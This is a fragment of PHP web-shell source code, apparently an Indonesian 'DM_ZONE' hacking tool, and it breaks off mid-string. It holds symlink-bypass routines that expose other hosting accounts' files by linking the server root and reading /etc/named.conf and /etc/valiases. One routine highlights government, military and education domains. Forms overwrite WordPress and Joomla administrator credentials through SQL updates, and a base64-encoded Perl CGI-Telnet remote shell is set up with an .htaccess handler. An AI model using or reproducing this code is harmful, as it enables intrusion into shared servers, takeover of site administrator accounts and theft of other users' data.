1480<td align="center"> <font color="white"> <b>_USERS_</b></td>
1481<td align="center"> <font color="white"> <b>_SYMLINK_</b></td>';
1482
1483$list = scandir("/var/named");
1484foreach($etcz as $etz){
1485$etcc = explode(":",$etz);
1486foreach($list as $domain) {
1487if(strpos($domain,".db")) {
1488$domain = str_replace('.db','',$domain);
1489$owner = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
1490if($owner['name'] == $etcc[0]){
1491$i += 1;
1492echo "<tr>
1493<td><a class='dm' href='http://".$domain." '>".$domain."</a></td>
1494<td align='center'><font color='white'>".$owner['name']."</font></td>
1495<td align='center'><a href='dm3sym/dm.txt".$owner['dir']."/public_html/' target='_blank'>Symlink</a></td>";
1496} } } }
1497flush();
1498flush();
1499}
1500echo "</tr></table></div></html>";
1501
1502}
1503
1504# x=dmsym4
1505elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsym4')) {
1506@session_start();
1507@set_time_limit(0);
1508@error_reporting(0);
1509@ini_set('log_errors',0);
1510@ini_set('error_log',NULL);
1511@ini_set('max_execution_time',0);
1512if($win){
1513echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1514}
1515@mkdir('dm4sym',0777);
1516$sempak = "Options all \n
1517DirectoryIndex dm.html \n
1518AddType text/plain .php \n
1519AddHandler server-parsed .php \n
1520AddType text/plain .html \n
1521AddHandler txt .html \n
1522Require None \n
1523Satisfy Any";
1524$masuk =@fopen ('dm4sym/.htaccess','w');
1525fwrite($masuk ,$sempak);
1526@symlink('/','dm4sym/dm.txt');
1527$pg = basename(__FILE__);
1528
1529if(is_readable("/etc/named.conf")){
1530echo '<center><br/><br/><nobr><b><span class="b7">O=:[ SYMLINK</span> <span class="b8">ETC/NAMED.CONF ]:=O</span></b></nobr><br/><br/> <table align="center" border="3" width="400" cellspacing="0" cellpadding="4">';
1531echo '<tr>
1532<td align="center"> <font color="white"> <b>_DOMAINS_</b></td>
1533<td align="center"> <font color="white"> <b>_USERS_</b></td>
1534<td align="center"> <font color="white"> <b>_SYMLINK_</b></td>';
1535$named = file_get_contents("/etc/named.conf");
1536preg_match_all('%zone \"(.*)\" {%',$named,$domains);
1537foreach($domains[1] as $domain){
1538$domain = trim($domain);
1539$i += 1;
1540$owner = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
1541echo "<tr>
1542<td><a class='dm' href='http://".$domain." '>".$domain."</a></td>
1543<td align='center'><font color='white'>".$owner['name']."</font></td>
1544<td align='center'><a href='dm4sym/dm.txt".$owner['dir']."/public_html' target='_blank'>Symlink</a></td>";
1545}
1546flush();
1547flush();
1548}
1549echo "</tr></table></div></html>";
1550
1551}
1552
1553# x=dmsym5
1554elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsym5')) {
1555@session_start();
1556@set_time_limit(0);
1557@error_reporting(0);
1558@ini_set('log_errors',0);
1559@ini_set('error_log',NULL);
1560@ini_set('max_execution_time',0);
1561if($win){
1562echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1563}
1564@mkdir('dm5sym',0777);
1565$sempak = "Options all \n
1566DirectoryIndex dm.html \n
1567AddType text/plain .php \n
1568AddHandler server-parsed .php \n
1569AddType text/plain .html \n
1570AddHandler txt .html \n
1571Require None \n
1572Satisfy Any";
1573$masuk =@fopen ('dm5sym/.htaccess','w');
1574fwrite($masuk ,$sempak);
1575@symlink('/','dm5sym/dm.txt');
1576$pg = basename(__FILE__);
1577$read_named_conf = @file('/etc/named.conf');
1578if(!$read_named_conf) {
1579echo "<center><br/><br/><nobr><span class='b9'>Can't Read File etc/named.conf :(</span></nobr><br/><br/>";
1580} else {
1581echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ SYMLINK</span> <span class='b8'>ETC/NAMED.CONF II ]:=O</span></b></nobr><br/><br/> <table border='3' bordercolor='#FF0000' width='400' cellpadding='1' cellspacing='0'>
1582<td align='center'> <font color='white'> <b>_DOMAINS_</b></td>
1583<td align='center'> <font color='white'> <b>_USERS_</b></td>
1584<td align='center'> <font color='white'> <b>_SYMLINK_</b></td>";
1585foreach($read_named_conf as $subject){
1586if(eregi('zone',$subject)){
1587preg_match_all('#zone"(.*)"#',$subject,$string);
1588flush();
1589if(strlen(trim($string[1][0])) >2){
1590$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
1591$name = $UID['name'] ;
1592@symlink('/','dm5sym/dm.txt');
1593$name = $string[1][0];
1594$australia = '\.au';
1595$bangladesh = '\.bd';
1596$brazil ='\.br';
1597$malaysia = '\.my';
1598$myanmar = '\.mm';
1599$indonesia = '\.id';
1600$israel = '\.il';
1601$romania = '\.ro';
1602$edu = '\.edu';
1603$gov = '\.gov';
1604$go = '\.go';
1605$gob = '\.gob';
1606$mil = '\.mil';
1607if (eregi("$australia",$string[1][0]) or eregi("$bangladesh",$string[1][0]) or eregi("$brazil",$string[1][0]) or eregi("$malaysia",$string[1][0])or eregi("$myanmar",$string[1][0]) or eregi ("$indonesia",$string[1][0]) or eregi ("$israel",$string[1][0]) or eregi ("$romania",$string[1][0]) or eregi("$edu",$string[1][0]) or eregi("$gov",$string[1][0]) or eregi("$go",$string[1][0]) or eregi("$gob",$string[1][0]) or eregi("$mil",$string[1][0]) or eregi ("$mil2",$string[1][0]))
1608{ $name = "<div style=' color:yellow ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>'; }
1609echo "<tr>
1610<td><a class='dm' target='_blank' href=http://".$string[1][0].'/>'.$name.' </a></center></div></td>
1611<td align=center><font color=white>'.$UID['name']."</td>
1612<td align=center><a href='dm5sym/dm.txt/home/".$UID['name']."/public_html/' target='_blank'>Symlink </a></td></tr>";
1613flush();
1614}}}}
1615flush();
1616flush();
1617echo "</tr></table></div></html>";
1618
1619}
1620
1621# x=dmsym6
1622elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsym6')) {
1623@session_start();
1624@set_time_limit(0);
1625@error_reporting(0);
1626@ini_set('log_errors',0);
1627@ini_set('error_log',NULL);
1628@ini_set('max_execution_time',0);
1629if($win){
1630echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1631}
1632@mkdir('dm6sym',0777);
1633$sempak = "Options all \n
1634DirectoryIndex dm.html \n
1635AddType text/plain .php \n
1636AddHandler server-parsed .php \n
1637AddType text/plain .html \n
1638AddHandler txt .html \n
1639Require None \n
1640Satisfy Any";
1641$masuk =@fopen ('dm5sym/.htaccess','w');
1642fwrite($masuk ,$sempak);
1643@symlink('/','dm6sym/dm.txt');
1644$pg = basename(__FILE__);
1645if(is_readable("/etc/valiases")){
1646echo '<center><br/><br/><nobr><b><span class="b7">O=:[ SYMLINK</span> <span class="b8">ETC/VALIASES ]:=O</span></b></nobr><br/><br/> <table align="center" border="3" width="300" cellspacing="0" cellpadding="4">';
1647echo '<tr>
1648<td align="center"><font color="white"> <b>_DOMAINS_</b></td>
1649<td align="center"><font color="white"> <b>_USERS_</b></td>
1650<td align="center"><font color="white"> <b>SYMLINK</b></td>';
1651$list = scandir("/etc/valiases");
1652foreach($list as $domain){
1653$i += 1;
1654$owner = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
1655echo "<tr>
1656<td><a class='dm' href='http://".$domain." '>".$domain."</a></td>
1657<td align='center'><font color='white'>".$owner['name']."</font></td>
1658<td align='center'><a href='dm6sym/dm.txt".$owner['dir']."/public_html' target='_blank'>Symlink</a>/td>";
1659}
1660flush();
1661flush();
1662}
1663echo "</tr></table></div></html>";
1664}
1665
1666# x=wp3
1667elseif(isset($_GET['x']) && ($_GET['x'] == 'wp3')) {
1668
1669echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ WORDPRESS</span> <span class='b8'>PASS CHANGER ]:=O</span></b></nobr><br/><br/> ";
1670
1671if(empty($_POST['pwd'])){
1672echo "<FORM method='POST'>
1673<table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL server</th></tr> <tr><td> Host</td><td>
1674<input style='width:220px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
1675<input style='width:220px;' class='inputz' type='text' name='database' value='wp-' /></td></tr> <tr><td> username</td><td>
1676<input style='width:220px;' class='inputz' type='text' name='username' value='wp-' /></td></tr> <tr><td> password</td><td>
1677<input style='width:220px;' class='inputz' type='text' name='password' value='**' /></td></tr>
1678<tr><td> User baru</td><td>
1679<input style='width:220px;' class='inputz' type='text' name='admin' value='admin' /></td></tr>
1680 <tr><td> Pass Baru</td><td>
1681<input style='width:80px;' class='inputz' type='text' name='pwd' value='123456' />
1682
1683<input style='width:19%;' class='inputzbut' type='submit' value='>>' name='send' /></FORM>
1684</td></tr> </table><br><br><br><br>
1685";
1686}else{
1687$localhost = $_POST['localhost'];
1688$database = $_POST['database'];
1689$username = $_POST['username'];
1690$password = $_POST['password'];
1691$pwd = $_POST['pwd'];
1692$admin = $_POST['admin'];
1693@mysql_connect($localhost,$username,$password) or die(mysql_error());
1694@mysql_select_db($database) or die(mysql_error());
1695
1696$hash = crypt($pwd);
1697$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
1698$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
1699$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
1700$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
1701$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
1702$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
1703$a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());
1704if($a4s){
1705echo "<br><br><b><nobr><span class='b11'> Password Change Successfully</span></nobr></b><br/>";
1706}
1707}
1708echo "</div>";
1709}
1710
1711# x=jm4
1712elseif(isset($_GET['x']) && ($_GET['x'] == 'jm4')) {
1713
1714echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ JOOMLA</span> <span class='b8'>PASS CHANGER ]:=O</span></b></nobr><br/><br/> ";
1715if(empty($_POST['pwd'])){
1716echo "<FORM method='POST'><table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL </th></tr> <tr><td> Host</td><td>
1717<input style='width:270px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr>
1718<tr><td> Database</td><td>
1719<input style='width:270px;' class='inputz' type='text' name='database' value='database' /></td></tr>
1720<tr><td> username</td><td>
1721<input style='width:270px;' class='inputz' type='text' name='username' value='db_user' /></td></tr>
1722<tr><td> password</td><td>
1723<input style='width:270px;' class='inputz' type='password' name='password' value='**' /></td></tr>
1724<tr><td> New User</td><td>
1725<input style='width:270px;' class='inputz' name='admin' value='admin' /></td></tr>
1726<tr><td> New Pass </td>
1727<td>123456 = <input style='width:160px;' class='inputz' name='pwd' value='e10adc3949ba59abbe56e057f20f883e' /> </td></tr>
1728<tr><td><input style='width:130%;' class='inputzbut' type='submit' value='>>' name='send' /></FORM>
1729</td></tr></table><br>";
1730} else {
1731$localhost = $_POST['localhost'];
1732$database = $_POST['database'];
1733$username = $_POST['username'];
1734$password = $_POST['password'];
1735$pwd = $_POST['pwd'];
1736$admin = $_POST['admin'];
1737@mysql_connect($localhost,$username,$password) or die(mysql_error());
1738@mysql_select_db($database) or die(mysql_error());
1739$hash = crypt($pwd);
1740$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
1741$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
1742$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error());
1743$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error());
1744$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error());
1745$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error());
1746$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error());
1747$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error());
1748if($SQL){
1749echo "<br><br><b><nobr><span class='b11'> Password Change Successfully</span></nobr></b><br/>";
1750}
1751}
1752echo "</div>";
1753}
1754# x=cgi2012
1755elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi2012')) {
1756echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ CGI TELNET</span> <span class='b8'> 2012 ]:=O</span></b></nobr><br/><br/> ";
1757echo "</br></br><center><b><span class='b11'> You Can Go To : <a href='telnet/telnet.cok' target='_blank'>[+] HERE [+]</a></center></span></br>";
1758mkdir('telnet', 0755);
1759chdir('telnet');
1760$htcok = ".htaccess";
1761$htaccesscok = "$htcok";
1762$file = fopen($htaccesscok , 'w');
1763$cacad = "AddHandler cgi-script .cok";
1764fwrite ($file ,$cacad);
1765fclose ($file);
1766$cgi2012 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS4zIjsNCiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+RE1fWk9ORTwvZm9udD4iOw0KDQokUGFzc3dvcmQgPSAiYW51IjsJCQkNCgkJCQkNCnN1YiBJc19XaW4oKXsNCgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7DQoJaWYoJG9zID1+IG0vd2luL2kpew0KCQlyZXR1cm4gMTsNCgl9DQoJZWxzZXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KJFdpbk5UID0gJklzX1dpbigpOwkJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91DQoJCQkJCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJCQkJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQNCgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCQkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLg0KDQokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UNCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kDQoJCQkJCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4NCg0KIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQ0KDQokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsNCiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsNCiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOw0KJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsNCiRjb2xzPSAxNTA7DQokcm93cz0gMjY7DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0NCgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJbXkgJGRpciA9JEN1cnJlbnREaXI7DQoJJGRpcj1+IHMvXFwvXFxcXC9nOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5DR0kgVEVMTkVUPC90aXRsZT4NCg0KJEh0bWxNZXRhSGVhZGVyDQoNCjwvaGVhZD4NCjxzdHlsZT4NCmJvZHl7DQpmb250OiAxMHB0IFZlcmRhbmE7DQp9DQp0ciB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCmNvbG9yOiAjZmY5OTAwOw0KfQ0KdGQgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpjb2xvcjogIzJCQThFQzsNCmZvbnQ6IDEwcHQgVmVyZGFuYTsNCn0NCg0KdGFibGUgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KDQoNCmlucHV0IHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiAxMHB0IFZlcmRhbmE7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCg0KaW5wdXQuc3VibWl0IHsNCnRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCmNvbG9yOiAjRkZGRkZGOw0KYm9yZGVyLWNvbG9yOiAjMDA5OTAwOw0KfQ0KDQpjb2RlIHsNCmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsNCmNvbG9yOiB3aGlsZTsNCn0NCg0KcnVuIHsNCmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOw0KZm9udDogMTBwdCBWZXJkYW5hIGJvbGQ7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCg0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOw0KZm9udDogRml4ZWRzeXMgYm9sZDsNCmNvbG9yOiAjYWFhOw0KfQ0KQTpsaW5rIHsNCglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOnZpc2l0ZWQgew0KCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6aG92ZXIgew0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI2ZmOTkwMDsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQoNCi5saXN0ZGlyIHRyOmhvdmVyew0KCWJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3ZlciB0ZHsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQoJYmFja2dyb3VuZDogIzExMTsNCn0NCi5saW5lew0KCWJhY2tncm91bmQ6ICMyMjI7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkNCnsNCgkvKnZhciBhamF4PSdhamF4X1Bvc3REYXRhKCJGb3JtUGVybXNfJytpKyciLCIkU2NyaXB0TG9jYXRpb